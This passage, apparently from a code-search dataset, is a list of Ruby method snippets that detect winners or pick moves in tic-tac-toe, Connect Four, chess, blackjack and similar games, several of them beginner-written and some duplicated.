0..2\n\t\tcheck = i*3\n\t\tif(@bo[check] == player && @bo[check+1] == player && @bo[check+2] == player) then\n\t\t\treturn player\n\t\tend\n\t\tif(@bo[i] == player && @bo[i+3] == player && @bo[i+6] == player) then\n\t\t\treturn player\n\t\tend\n\tend\n #Loops through diagonals\n\tif(@bo[0] == player && @bo[4] == player && @bo[8] == player) then\n\t\treturn player\n\tend\n\tif(@bo[2] == player && @bo[4] == player && @bo[6] == player) then\n\t\treturn player\n\tend\n\treturn nil\n end", "def win_test\n \t# Create a hash from entries where the value matches player @letter\n\tpositions_hash = $board.select { |key, value| value == @letter }\n\t# Now make an array of the key values. We will compare this against \n\t# the winning_combos\n\tpositions_array = positions_hash.keys\n\t\t# Did the current move win the game?\n\t\t$winning_combos.each { \n\t\t\t|x| if x == positions_array\n\t\t\t\tputs \"#{@name} WINS!\"\n\t\t\t\t$game_end = true\n\t\t\t\treturn\n\t\t\t\tend\n\t\t\t}\n\nend", "def win_condition_met?(player)\n # Horizontal\n for row in (0..5) do\n counter = 0\n \n @board[row].each do |disc|\n if(disc == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n end\n end\n \n # Vertical\n for col in (0..6) do\n counter = 0\n \n for row in (0..5) do\n if(@board[row][col] == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n end\n end\n \n # Right diagonal\n starting_points = [[0, 0], [1, 0], [2, 0], [0, 1], [0, 2], [0, 3]]\n starting_points.each do |start|\n counter = 0\n \n row = start[0]\n col = start[1]\n \n while(row < 6 && col < 7)\n if(@board[row][col] == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n \n row += 1\n col += 1\n end\n end\n \n # Left diagonal\n starting_points = [[0, 6], [1, 6], [2, 6], [0, 5], [0, 4], [0, 3]]\n starting_points.each do |start|\n counter = 0\n \n row = start[0]\n col = start[1]\n \n while(row < 6 && col >= 0)\n if(@board[row][col] == player)\n counter += 1\n return true if(counter >= 4)\n else\n counter = 0\n end\n \n row += 1\n col -= 1\n end\n end\n \n return false\n end", "def check_win(player,grid,coordinates)\n win = false\n win_array = []\n play_row = coordinates[0]\n play_col = coordinates[1]\n\n # horizontal checking\n grid[play_row].each_index do | col |\n if win_array.length != 4\n if grid[play_row][col] == player\n win_array.push([play_row,col])\n else\n win_array = []\n end\n end\n end\n\n if win_array.length == 4\n win = true\n end\n\n # vertical checking\n if win == false\n\n win_array = []\n\n grid.each_index do | row |\n if win_array.length != 4\n if grid[row][play_col] == player\n win_array.push([row,play_col])\n else\n win_array = []\n end\n end\n end\n\n if win_array.length == 4\n win = true\n end\n end\n\n # diagonal checking SW to NE\n if win == false\n\n win_array = []\n row = play_row\n col = play_col\n\n # finds SW-most position in same diagonal line as most recently played piece\n # this is the starting point we check from\n until col == 0 || row == 7\n row += 1\n col -= 1\n end\n\n until col > 7 || row < 0\n if win_array.length != 4\n if grid[row][col] == player\n win_array.push([row,col])\n else\n win_array = []\n end\n end\n row -= 1\n col += 1\n end\n\n if win_array.length == 4\n win = true\n end\n end\n\n # diagonal checking NW to SE\n if win == false\n\n win_array = []\n row = play_row\n col = play_col\n\n # finds NW-most position in same diagonal line as most recently played piece\n # this is the starting point we check from\n until col == 0 || row == 0\n row -= 1\n col -= 1\n end\n\n until col > 7 || row > 7\n if win_array.length != 4\n if grid[row][col] == player\n win_array.push([row,col])\n else\n win_array = []\n end\n end\n row += 1\n col += 1\n end\n\n if win_array.length == 4\n win = true\n end\n end\n\n # winning four-in-a-row briefly \"flashes\" to show where it is\n if win == true\n flash_count = 0\n while flash_count < 4\n #flashing animation\n win_array.each do | element |\n grid[element[0]][element[1]] = \"@\"\n end\n print_board(grid)\n sleep(0.2)\n win_array.each do | element |\n grid[element[0]][element[1]] = player\n end\n print_board(grid)\n sleep(0.2)\n flash_count += 1\n end\n end\n\n return win\nend", "def winning_move(player)\n count_squares_and_moves(player) do |squares, moves| \n return moves.first if squares == 2 and !moves.empty? \n end\n nil\n end", "def win?\n win=[false,false] #[player1,player2]\n @y.times do |y|\n \t#Winning Conditions\n if @board[y][0...@x].all? {|x| x==\"X\"} # Rows\n \t win=[true,false]\n \telsif @board[y][0...@x].all? {|x| x==\"O\"}\n \t win=[false,true]\n \telsif #Diagonals (Currently limited to 3x3)\n \t if @board[0][0] == \"X\" && @board[1][1] == \"X\" && @board[2][2] == \"X\" \n \t win=[true,false]\n \t elsif @board[0][2] == \"X\" && @board[1][1] == \"X\" && @board[2][0] == \"X\"\n \t win=[true,false]\n \t elsif @board[0][0] == \"O\" && @board[1][1] == \"O\" && @board[2][2] == \"O\"\n \t win=[false,true]\n \t elsif @board[0][2] == \"O\" && @board[1][1] == \"O\" && @board[2][0] == \"O\"\n \t win=[false,true]\n \t end\n \tend\n end\n \t\n\n @x.times do |x|\n if @board[0][x] == \"X\" && @board[1][x] == \"X\" && @board[2][x] == \"X\" #Columns\n \t win=[true,false]\n \telsif @board[0][x] == \"O\" && @board[1][x] == \"O\" && @board[2][x] == \"O\" \n \t win=[false,true]\n \tend\n end\n \t \t\n \n \n return win\n end", "def evaluate_position_as player, row, col, win_condition, score\n\n result = 0\n\n # score of 0, we cant place it there\n if row >= @row\n return result\n end\n\n @board.data[row][col] = player.generate_token\n\n @board.get_neighbours(row, col, win_condition.length).each do |neighbours|\n\n if check_if_neighbour_win neighbours, win_condition\n result = score\n break\n end\n end\n\n # function does not reset the board\n return result\n\n end", "def make_move\n\n\n candidates = []\n surface_level.each do |pos|\n\n row, col = pos\n\n # if placing this tile leads the ai to win then thats good\n score = evaluate_position_as @ai, row, col, @ai.win_conditions[0], 2\n\n # if placing tile, enables the player to place a tile above us and win, then bad\n score += evaluate_position_as @player, row + 1, col, @player.win_conditions[0], -1\n @board.data[row][col] = nil\n\n if row + 1 != @row\n @board.data[row + 1][col] = nil\n end\n\n # if player places this position and enables him to win, dont let him.\n score += evaluate_position_as @player, row, col, @player.win_conditions[0], 0.8\n @board.data[row][col] = nil\n\n\n # if ai places at this tile and causes player to win, dont palce it there\n score += evaluate_position_as @ai, row, col, @player.win_conditions[0], -2\n\n # if player plays it there and causes him to get close to win conditon, dont palce it there\n score += evaluate_position_as @player, row, col, @player.win_conditions[0][1..-1], 0.3\n @board.data[row][col] = nil\n\n\n score += evaluate_position_as @player, row, col, @player.win_conditions[0][0..-2], 0.3\n @board.data[row][col] = nil\n\n candidates << [row, col, score]\n\n end\n\n # signals that it cannot make a move, the ai\n if candidates == []\n return -1\n end\n\n # sort by best candidate\n sorted = candidates.sort {|a,b| b[2] <=> a[2]}\n\n return select_candidate sorted\n\n end", "def possible_hero(king_loc, player, board)\r\n threat = offending_player(king_loc, player, board)[0]\r\n threat_loc = offending_player(king_loc, player, board)[1]\r\n attack_path = threat.calculate_path(threat_loc, king_loc)\r\n destroy_threat = []\r\n move_in_path = []\r\n board.each_with_index do |row, i|\r\n row.each_index do |j| \r\n piece = board[i][j]\r\n if !piece.nil? and piece.color == player and [i, j] != king_loc\r\n if piece.color == player\r\n destroy_threat << [i, j] if piece.valid_move([i,j], threat_loc, board)\r\n end\r\n attack_path.each do |block|\r\n if board[block[0]][block[1]].nil? \r\n move_in_path << [[i, j], block] if piece.valid_move([i,j], block, board)\r\n else\r\n move_in_path << [[i, j], block] if piece.valid_move([i,j], block, board) && board[block[0]][block[1]].color != player\r\n end\r\n end\r\n end \r\n end\r\n end \r\n possible_boards = []\r\n destroy_threat.each do |hero|\r\n possible_boards << temporary_board(hero, threat_loc)\r\n end\r\n move_in_path.each do |hero|\r\n possible_boards << temporary_board(hero[0], hero[1]) \r\n end\r\n checks = []\r\n possible_boards.each do |test_board|\r\n checks << in_check(player, test_board)\r\n end \r\n return true if checks.include? false\r\n return false\r\n end", "def win_game\n @win.each do |m|\n if @board[m[0]].strip == @board[m[1]] && @board[m[1]] == @board[m[2]]\n @winner = true\n end\n end\n @winner\n end", "def easy_win(player)\n win if player.points == 4 && player.opponent.points < 3\n end", "def win_check(wins, player, opponent)\n position = [] # placeholder for position that will give 3-in-a-row\n wins.each do |win| # check each win pattern\n difference = win - player # difference between current win array and player position array\n # if player 1 move from win, take position unless already opponent mark\n position.push(difference[0]) unless (opponent & difference).size == 1 if difference.size == 1\n end\n position.size > 0 ? position.sample : block_check(wins, player, opponent) # .sample in case of multiple\n end", "def win_check(wins, player, opponent)\n position = [] # placeholder for position that will give 3-in-a-row\n wins.each do |win| # check each win pattern\n difference = win - player # difference between current win array and player position array\n # if player 1 move from win, take position unless already opponent mark\n position.push(difference[0]) unless (opponent & difference).size == 1 if difference.size == 1\n end # .sample in case of multiple wins, otherwise check for blocks\n position.size > 0 ? position.sample : block_check(wins, player, opponent)\n end", "def determine_match_winner\n @games_to_win = ((total_number_of_games / 2.0).floor) + 1\n if player1.score == games_to_win\n return player1\n elsif player2.score == games_to_win\n return player2\n else\n return nil\n end\n end", "def is_win(x, y, player)\n create_pivot_vectors(x, y)\n\n # TODO: parameter key not used (fix)\n @moves.each do |key, array|\n win3 = 0\n array.each do |key, val|\n if val == player\n win3 += 1\n return true if win3 == @win_with\n else\n win3 = 0\n end\n end\n end\n false\n end", "def winning?(board, triplet)\n winner = triplet.all? {|spot| board[spot]==\"X\"}\n if winner\n return winner\n end\n winner = triplet.all? {|spot| board[spot]==\"O\"}\n if winner\n return winner\n end\n return false\nend", "def winning?(board, triplet)\n winner = triplet.all? {|spot| board[spot]==\"X\"}\n if winner\n return winner\n end\n winner = triplet.all? {|spot| board[spot]==\"O\"}\n if winner\n return winner\n end\n return false\nend", "def winner\n row_winners = rows.select{|r| identical_symbols(r)}.map{|r| r[0]}\n column_winners = columns.select{|c| identical_symbols(c)}.map{|c| c[0]}\n diagonal_winners = diagonals.select{|d| identical_symbols(d)}.map{|d| d[0]}\n winners = (row_winners + column_winners + diagonal_winners).uniq - %w(_)\n players = winners.map{|w| to_player_number(w)}\n players[0] # this would default to nil if players is empty\n end", "def win_or_block(board) \n if reach?(board, self.token)\n reach?(board, self.token).find {|cell| !board.taken?(cell+1)}\n elsif reach?(board, self.opponent_token)\n reach?(board, self.opponent_token).find {|cell| !board.taken?(cell+1)}\n end\n end", "def check_for_winner\n #define what wins the game\n win_combinations = [ [0,3,6], [0,4,8], [0,1,2], [1,4,7], [2,4,6], [2,5,8], [3,4,5], [6,7,8] ]\n #if sym fills any of these combos of 3, that player wins else, game is tie..play again?\n for i in 0..7\n win_combinations.each do |x| \n if (@board[x[0]] == @board[x[1]] && @board[x[0]] == @board[x[2]] && @board[x[0]] != \"\" && @board[x[1]] != \"\" && @board[x[2]] != \"\")\n if @board[x[0]] == PLAYER1_SYM\n puts \"Player 1 Wins!!!!!!\"\n else\n puts \"Player 2 Wins!!!!!!\"\n end\n generate_board\n abort(\"game over\")\n elsif unless @board.include? \"\" #check for tie once board is ful\n abort(\"Game is a tie\")\n end\n else\n end\n end\n end\n end", "def check_wins(column, player)\n\t\t# row checking\n\t\tfor i in 0...@@board.length\n\t\t\trow = @@board[i]\n\t\t\trow_counter = 0\n\t\t\tfor j in 0...row.length\n\t\t\t\tif row[j] === player\n\t\t\t\t\trow_counter += 1\n\t\t\t\t\tif row_counter === 4\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\trow_counter = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# column checking\n\t\tcolumn_counter = 0\n\t\tfor k in 0...@@board.length\n\t\t\tif @@board[k][column] === player\n\t\t\t\tcolumn_counter += 1\n\t\t\t\tif column_counter === 4\n\t\t\t\t\treturn true;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# diagonal checking, chose to go to 11 because coordinates [5,6] can be\n\t\t#reached in this loop\n\t\tfor diagonal_sum in 0..11\n\t\t\tdiagonal_counter = 0\n\t\t\tfor x in 0..diagonal_sum\n\t\t\t\ty = diagonal_sum - x\n\t\t\t\tif (defined?(@@board[x][y])).nil?\n\t\t\t\t\t# some of the coordinates being checked are not defined, this is to\n\t\t\t\t\t# keep looping through the board to check values on the board\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif @@board[x][y] === player\n\t\t\t\t\tdiagonal_counter += 1\n\t\t\t\t\tif diagonal_counter === 4\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tdiagonal_counter = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# other diagonal checking\n\t\tfor diagonal_diff in (6).downto(-5)\n\t\t\ty = 0\n\t\t\tother_diagonal_counter = 0\n\t\t\tfor x in 0...7\n\t\t\t\ty = diagonal_diff + x\n\t\t\t\tif (defined?(@@board[x][y])).nil? #if a space is undefined, just keep checking\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif y < 7\n\t\t\t\t\tif @@board[x][y] === player\n\t\t\t\t\t\tother_diagonal_counter += 1\n\t\t\t\t\t\tif other_diagonal_counter === 4\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tother_diagonal_counter = 0\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tbreak;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t# the check_wins method has many nested for loops, which is a\n\t\t# runtime complexity of O(n^2)\n\t\treturn false\n\tend", "def win (player)\n wins = [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]\n wins.each do |w|\n temp = player.picked & w # \"&\" compares and returns same values '[1,2,3] & [1,2,5,6] #=> [1, 2]''\n temp.length == 3 ? (return true) : false\n end\n end", "def winner\n @board.sort_by {|player, board_position| board_position}.last.first\n end", "def winner(board)\n p1symbol = self.player1.symbol\n p2symbol = self.player2.symbol\n if winning_possibilities(board).detect {|possible_win| possible_win.all? p1symbol }\n return player1\n elsif winning_possibilities(board).detect {|possible_win| possible_win.all? p2symbol }\n return player2\n else\n return false\n end\n end", "def check_win(player)\n winning_combos.each do |winning_combo|\n if three_in_a_row(winning_combo, player)\n @winner = player\n return true\n end\n end\n \n false\n \n end", "def winning?(cells, player)\r\n status = false\r\n if (cells[0] == player && cells[1] == player && cells[2] == player) ||\r\n (cells[3] == player && cells[4] == player && cells[5] == player) ||\r\n (cells[6] == player && cells[7] == player && cells[8] == player) ||\r\n (cells[0] == player && cells[3] == player && cells[6] == player) ||\r\n (cells[1] == player && cells[4] == player && cells[7] == player) ||\r\n (cells[2] == player && cells[5] == player && cells[8] == player) ||\r\n (cells[0] == player && cells[4] == player && cells[8] == player) ||\r\n (cells[2] == player && cells[4] == player && cells[6] == player)\r\n status = true\r\n end\r\n status\r\n end", "def winner_H(board,player) \n for i in 0..5\n check=0\n j=0\n\n while (j < 6)\n if (board[i][j] == player && board[i][j]!=\" \")\n check=check+1\n else\n check=0\n end\n\n if (check== 4) then\n return true\n end\n j=j+1\n end\n end\n\n return false\n end", "def win(board, marker)\n\t\t#horizontal top\n\t\tif board[0] && board[1] == marker\n\t\t\tboard[2] == perfect_move\n\t\telsif board[0] && board[2] == marker\n\t\t\tboard[1] == perfect_move\n\t\telsif board[1] && board[2] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#horiz middle\n\t\telsif board[3] && board[4] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[3] && board[5] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[5] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#horiz bottom\n\t\telsif board[6] && board[7] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[6] && board[8] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[7] && board[8] == marker\n\t\t\tboard[6] == perfect_move\n\t\t#vertical left\n\t\telsif board[0] && board[3] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[3] && board[6] == marker\n\t\t\tboard[0] == perfect_move\n\t\telsif board[0] && board[6] == marker\n\t\t\tboard[3] == perfect_move\n\t\t#vert middle\n\t\telsif board[1] && board[4] == marker\n\t\t\tboard[7] == perfect_move\n\t\telsif board[1] && board[7] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[7] == marker\n\t\t\tboard[1] == perfect_move\n\t\t#vert right\n\t\telsif board[2] && board[5] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[2] && board[8] == marker\n\t\t\tboard[5] == perfect_move\n\t\telsif board[5] && board[8] == marker\n\t\t\tboard[2] == perfect_move\n\t\t#diaginal top left \n\t\telsif board[0] && board[4] == marker\n\t\t\tboard[8] == perfect_move\n\t\telsif board[0] && board[8] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[8] == marker\n\t\t\tboard[0] == perfect_move\n\t\t#diag bottom left\n\t\telsif board[2] && board[4] == marker\n\t\t\tboard[6] == perfect_move\n\t\telsif board[2] && board[6] == marker\n\t\t\tboard[4] == perfect_move\n\t\telsif board[4] && board[6] == marker\n\t\t\tboard[2] == perfect_move\n\t\telse\n\n\t\tend\n\tend", "def winner(board)\nif winning_combination = won?(board)\nboard[winning_combination[0]]\nend\nend", "def check_rows_for_winner\n\n if board[0][0] == board[0][2] and board[0][1] == board[0][2] and not board[0][1] == nil\n @player = board[0][0]\n elsif board[1][0] == board[1][2] and board[1][1] == board[1][2] and not board[1][1] == nil\n @player = board[1][1]\n elsif board[2][0] == board[2][2] and board[2][1] == board[2][2] and not board[2][1] == nil\n @player = board[2][2]\n end\n end", "def winner\n WIN_COMBINATIONS.each do |win_combination|\n #puts win_combination.inspect\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n position_1 = @board[win_index_1] \n position_2 = @board[win_index_2] \n position_3 = @board[win_index_3] \n \n if position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n return position_1\n end\n end\n nil\n end", "def winner_player2\n if @board.A1 == \"O \" && @board.A2 == \"O \" && @board.A3 == \"O \"\n return true \n elsif @board.B1 == \"O \" && @board.B2 == \"O \" && @board.B3 == \"O \"\n return true\n elsif @board.C1 == \"O \" && @board.C2 == \"O \" && @board.C3 == \"O \"\n return true\n elsif @board.A1 == \"O \" && @board.B1 == \"O \" && @board.C1 == \"O \"\n return true\n elsif @board.A2 == \"O \" && @board.B2 == \"O \" && @board.C2 == \"O \"\n return true\n elsif @board.A3 == \"O \" && @board.B3 == \"O \" && @board.C3 == \"O \"\n return true \n elsif @board.A1 == \"O \" && @board.B2 == \"O \" && @board.C3 == \"O \"\n return true\n elsif @board.A3 == \"O \" && @board.B2 == \"O \" && @board.C1 == \"O \"\n return true \n else\n return false\n end\n end", "def check_winner(board, user_piece)\n\tif board[\"A1\"] == board[\"B1\"] && board[\"B1\"] == board[\"C1\"]\n\t\tif board[\"A1\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"A1\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board[\"A2\"] == board[\"B2\"] && board[\"B2\"] == board[\"C2\"]\n\t\tif board[\"A2\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"A2\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board[\"A3\"] == board[\"B3\"] && board[\"B3\"] == board[\"C3\"]\n\t\tif board[\"A3\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"A3\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board[\"A1\"] == board[\"A2\"] && board[\"A2\"] == board[\"A3\"]\n\t\tif board[\"A1\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"A1\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board[\"B1\"] == board[\"B2\"] && board[\"B2\"] == board[\"B3\"]\n\t\tif board[\"B1\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"B1\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board[\"C1\"] == board[\"C2\"] && board[\"C2\"] == board[\"C3\"]\n\t\tif board[\"C1\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"C1\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board[\"A1\"] == board[\"B2\"] && board[\"B2\"] == board[\"C3\"]\n\t\tif board[\"A1\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"A1\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board[\"A3\"] == board[\"B2\"] && board[\"B2\"] == board[\"C1\"]\n\t\tif board[\"A3\"] == user_piece\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You win!\"\n\t\t\treturn true\n\t\telsif board[\"A3\"] != \" \"\n\t\t\tdisplay_board(board)\n\t\t\tputs \"You lost!\"\n\t\t\treturn true\n\t\tend\n\tend\n\n\tif board.has_value?(\" \") == false\n\t\tdisplay_board(board)\n\t\tputs \"Draw! No winners!\"\n\t\treturn true\n\tend\n\n\treturn false\n\nend", "def win(board, marker)\r\n\t\t#horizontal top\r\n\t\tif board[0] && board[1] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telsif board[0] && board[2] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\telsif board[1] && board[2] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#horiz middle\r\n\t\telsif board[3] && board[4] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[3] && board[5] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[5] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#horiz bottom\r\n\t\telsif board[6] && board[7] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[6] && board[8] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[7] && board[8] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\t#vertical left\r\n\t\telsif board[0] && board[3] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[3] && board[6] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\telsif board[0] && board[6] == marker\r\n\t\t\tboard[3] == perfect_move\r\n\t\t#vert middle\r\n\t\telsif board[1] && board[4] == marker\r\n\t\t\tboard[7] == perfect_move\r\n\t\telsif board[1] && board[7] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[7] == marker\r\n\t\t\tboard[1] == perfect_move\r\n\t\t#vert right\r\n\t\telsif board[2] && board[5] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[2] && board[8] == marker\r\n\t\t\tboard[5] == perfect_move\r\n\t\telsif board[5] && board[8] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\t#diagonal top left \r\n\t\telsif board[0] && board[4] == marker\r\n\t\t\tboard[8] == perfect_move\r\n\t\telsif board[0] && board[8] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[8] == marker\r\n\t\t\tboard[0] == perfect_move\r\n\t\t#diag bottom left\r\n\t\telsif board[2] && board[4] == marker\r\n\t\t\tboard[6] == perfect_move\r\n\t\telsif board[2] && board[6] == marker\r\n\t\t\tboard[4] == perfect_move\r\n\t\telsif board[4] && board[6] == marker\r\n\t\t\tboard[2] == perfect_move\r\n\t\telse\r\n\r\n\t\tend\r\n\tend", "def check_rows(board, player = nil)\n tile_value = -> (tile){tile.value}\n if player # ie - if we are looking for a hint, not a winner\n board.select do |row|\n row_total = row.map(&tile_value).reduce(&:+).abs\n row_length_minus_one = (row.length) - 1\n # we should only deal with the rows that have a total of size -1\n # but we want to avoid for example [X, O, X] so check to make sure one of them is blank\n # also make sure that the 1 offs are for the correct player\n row if (row_total == row_length_minus_one && row.include?(\" \") && row.include?(player))\n end\n else # if we are looking for a winner\n board.each do |row|\n row_total = row.map(&tile_value).reduce(&:+).abs\n update_winner(row_total) if row_total == row.length\n end\n end\n end", "def determining_winner\n if @player_hand_points = 21 && @dealer_hand_points < 21 || 21 > @player_hand_points > @dealer_hand_points || @dealer_hand_points > 21\n @player_win\n elsif @player_hand_points > 21 && @dealer_hand_points > 21 || @player_hand_points = @dealer_hand_points\n @player_tie\n else @dealer_hand_points = 21 && @player_hand_points < 21 || 21 > @dealer_hand_points > @player_hand_points || @player_hand_points > 21\n @player_loss\n end\n end", "def player_won?\n victory = false\n @board.each do |key, value|\n victory = calculate_possible_lines(key).any? do |line|\n \tline.all? do |location|\n next if @board[location] == nil\n @board[location].color == @current_player\n \tend\n end\n return true if victory == true\n end\n false\n end", "def player_turn\n # if the board has more x's then it is the computer's turn\n if @board.count(@symbol) > @board.count(@computer_symbol)\n computer_turn\n else\n users_turn\n end\n end", "def win\n table_keys = @board.boardcase.values\n if @board.boardcase[\"a1\"].shape == @board.boardcase[\"a2\"].shape && @board.boardcase[\"a3\"].shape == \"x\" && @board.boardcase[\"a2\"].shape == \"x\" ||\n @board.boardcase[\"a1\"].shape == @board.boardcase[\"b1\"].shape && @board.boardcase[\"c1\"].shape == \"x\" && @board.boardcase[\"b1\"].shape == \"x\" ||\n @board.boardcase[\"a2\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"c2\"].shape == \"x\" && @board.boardcase[\"b2\"].shape == \"x\" ||\n @board.boardcase[\"a3\"].shape == @board.boardcase[\"b3\"].shape && @board.boardcase[\"c3\"].shape == \"x\" && @board.boardcase[\"b3\"].shape == \"x\" ||\n @board.boardcase[\"b1\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"b3\"].shape == \"x\" && @board.boardcase[\"b2\"].shape == \"x\" ||\n @board.boardcase[\"c1\"].shape == @board.boardcase[\"c2\"].shape && @board.boardcase[\"c3\"].shape == \"x\" && @board.boardcase[\"c2\"].shape == \"x\" ||\n @board.boardcase[\"a1\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"c3\"].shape == \"x\" && @board.boardcase[\"b2\"].shape == \"x\" ||\n @board.boardcase[\"a3\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"c1\"].shape == \"x\" && @board.boardcase[\"b2\"].shape == \"x\"\n puts \"#{@player_1.name} Won!\"\n return true\n elsif\n @board.boardcase[\"a1\"].shape == @board.boardcase[\"a2\"].shape && @board.boardcase[\"a3\"].shape == \"o\" && @board.boardcase[\"a2\"].shape == \"o\" ||\n @board.boardcase[\"a1\"].shape == @board.boardcase[\"b1\"].shape && @board.boardcase[\"c1\"].shape == \"o\" && @board.boardcase[\"b1\"].shape == \"o\" ||\n @board.boardcase[\"a2\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"c2\"].shape == \"o\" && @board.boardcase[\"b2\"].shape == \"o\" ||\n @board.boardcase[\"a3\"].shape == @board.boardcase[\"b3\"].shape && @board.boardcase[\"c3\"].shape == \"o\" && @board.boardcase[\"b3\"].shape == \"o\" ||\n @board.boardcase[\"b1\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"b3\"].shape == \"o\" && @board.boardcase[\"b2\"].shape == \"o\" ||\n @board.boardcase[\"c1\"].shape == @board.boardcase[\"c2\"].shape && @board.boardcase[\"c3\"].shape == \"o\" && @board.boardcase[\"c2\"].shape == \"o\" ||\n @board.boardcase[\"a1\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"c3\"].shape == \"o\" && @board.boardcase[\"b2\"].shape == \"o\" ||\n @board.boardcase[\"a3\"].shape == @board.boardcase[\"b2\"].shape && @board.boardcase[\"c1\"].shape == \"o\" && @board.boardcase[\"b2\"].shape == \"o\"\n puts \"#{@player_2.name} Won!\"\n return true\nelse\n i = 0\n table_keys.each do |u|\n if u.shape != \" \"\n i += 1\n end\n end\n if i == 9\n puts \"It's a Draw!\"\n return true\n end\n end\nend", "def player_win?(n)\n self.wins.each do |win| \n return true if (player_moves(\"#{n}\") & win).count == self.win_length\n end\n return false\n end", "def is_player_winner(moves)\n grid = map_to_grid moves\n is_winner grid\n end", "def someoneWin?\n player = nil\n @@winCases.each { |a|\n player = @board[a[0]]\n if (player != \" \") && (@board[a[0]] == @board[a[1]]) && (@board[a[1]] == @board[a[2]])\n (0..2).each { |n| @board[a[n]].upcase! }\n puts \"We have a WINNER! ----> \" + player\n return player\n end\n }\n return false\n end", "def won?(board)\n WIN_COMBINATIONS.each do |triple|\n if(winning?(board, triple))\n return triple\n end\n end\n return false\nend", "def won?(board)\n WIN_COMBINATIONS.each do |triple|\n if(winning?(board, triple))\n return triple\n end\n end\n return false\nend", "def win_possibilities(piece)\n\t\t[ [ [piece[0],piece[1]],[piece[0]+1,piece[1]],[piece[0]+2,piece[1]],[piece[0]+3,piece[1]] ],\n\t\t[ [piece[0]-1,piece[1]],[piece[0],piece[1]],[piece[0]+1,piece[1]],[piece[0]+2,piece[1]] ],\n\t\t[ 